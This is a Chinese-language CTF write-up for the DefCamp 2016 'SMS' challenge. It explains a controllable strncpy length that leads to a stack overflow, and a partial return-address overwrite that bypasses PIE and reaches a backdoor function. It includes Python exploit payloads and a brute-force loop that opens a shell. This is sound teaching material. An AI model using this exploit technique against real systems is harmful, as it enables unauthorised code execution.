DefCamp CTF Finals 2016-SMS

1.常规checksec操作,开了PIE和NX,首先shellcode不能用。其次PIE表示地址随机化,也就是没办法覆盖返回地址来直接跳转到我们想要的函数处。IDA打开找漏洞,可以看到在doms函数中的v1的栈地址被传递给set_user和set_sms

img

之后set_user中会读取输入保存在S这个栈地址上,然后从s中读取前四十个字节到a1[140]-a1[180],这个a1就是doms函数中的v1。

img

再往后看,在set_sms函数中,同样读取1024个字节到S这个栈变量中,并且最后将S的特定长度strncpy给a1,这个特定长度就是a1[180]。所以这里我们可以通过set_user来控制a1[180],进而控制set_sms函数中strncpy给a1拷贝的长度,也就是doms函数中v1的长度,使其大于v1距离栈底的距离0xc0,从而在doms函数栈中执行栈溢出,而doms函数中的v1也就是a1,是在set_sms中由我们输入到S上的内容拷贝过去的,长度为0x400,完全可控。

img

另外程序存在后门frontdoor(),只要进入这个函数,再输入binsh字符串就能getshell。

2.所以现存在doms函数栈溢出,后门函数这两个漏洞,但是由于PIE,在程序运行过程中没办法确定frontdoor()的地址,无法直接覆盖doms函数返回地址到达后门函数

3.这里就需要用到内存页的一个知识点,由于一个内存页的大小为0x1000,而frontdoor()函数和dosms函数和main函数等等函数,都在同一个内存页上,所以在64位程序下他们的函数地址都是0x############x这种类型,前面12位#每次加载都不一样,而后面的三位不会发生改变,因为都在0x0000563cc913(x)000 - 0x0000563cc913(x+1)000这个内存页上。用IDA打开按ctrl+s可以看到

img

这些段都在0x0000563cc913(x)000 - 0x0000563cc913(x+1)000这个内存页上。而开启了PIE程序的,0000563cc913(x)这个数值每次都会变化,但是最后三位是不会改变的,就是固定相对于这个内存页起始位置的偏移。

4.所以覆盖返回地址时,可以想到,dosms函数的返回地址是call dosms下一条指令,也就是在main函数上,而frontdoor函数的地址与main函数的地址都在0x0000563cc913(x)这个内存页上。所以当程序被加载,0x0000563cc913(x)这个数值发生改变时,frontdoor函数和main函数地址中对应的数值也会相应改变,而且都是一样的。这种情况下,就可以通过修改dosms返回地址的后四位,也就是之前的(x)yyy来跳转到frontdoor。

5.如果直接爆破,按照数学期望需要尝试0xffff+1=65535+1这么多次,太巨大。这里又考虑到yyy时不会改变的,所以用IDA可以看到frontdoor函数的后三位地址为900,我们在写payload的时候直接写入即可,就是PIE也不会发生改变。现在唯一不确定的就是(x)yyy中的x。直接爆破就好,平均尝试的数学期望为f+1=16次,也不算太高。

6.所以尝试写payload:

(1)修改set_user中的a1[180]的值:

1
2
3
4
5
6
7
#注释头

def setlength():
io.recvuntil('> ')
payload_setlength = 'a'*40 #padding
payload_setlength += '\xca'
io.sendline(payload_setlength)

(2)执行栈溢出,覆盖返回地址的低两个字节为”\x(x)9”和”\x01”(大端序,注意顺序)

1
2
3
4
5
6
7
8
#注释头

def StackOverflow():
io.recvuntil('> ')
payload_StackOverflow = 'a'*200 #padding
payload_StackOverflow += '\x01\xa9'
#frontdoor的地址后三位是0x900, +1跳过push rbp,影响
io.sendline(payload_StackOverflow)

这里跳过push rbp的原因是因为strncpy的关系,如果发送的是\x00,\xa9,那么先复制\x00,则会由于strncpy的机制提前结束复制,造成a9没办法复制进去,从而程序出错。(发送的由于是fget函数,所以会全盘接受,\x00也会接受,不是读取函数的原因。)而跳过push rbp并不影响frontdoor里面的函数执行,所以不会影响getshell。

(3)由于每次地址随机,所以地址随机成a900的概率为1/16,那么就考虑用自动化来爆破实施:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#注释头

i = 0
while True:
i += 1
print i
io.remote("127.0.0.1",0000)
setlength()
StackOverflow()
try:
io.recv(timeout = 1)
#要么崩溃要么爆破成功,若崩溃io会关闭,io.recv()会触发 EOFError
except EOFError:
io.close()
continue
else:
sleep(0.1)
io.sendline('/bin/sh\x00')
sleep(0.1)
io.interactive() #没有EOFError的话就是爆破成功,可以开shell
break

▲如果直接process本地则没办法成功运行,需要用socat转发,用127.0.0.1本地连接才可以。

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157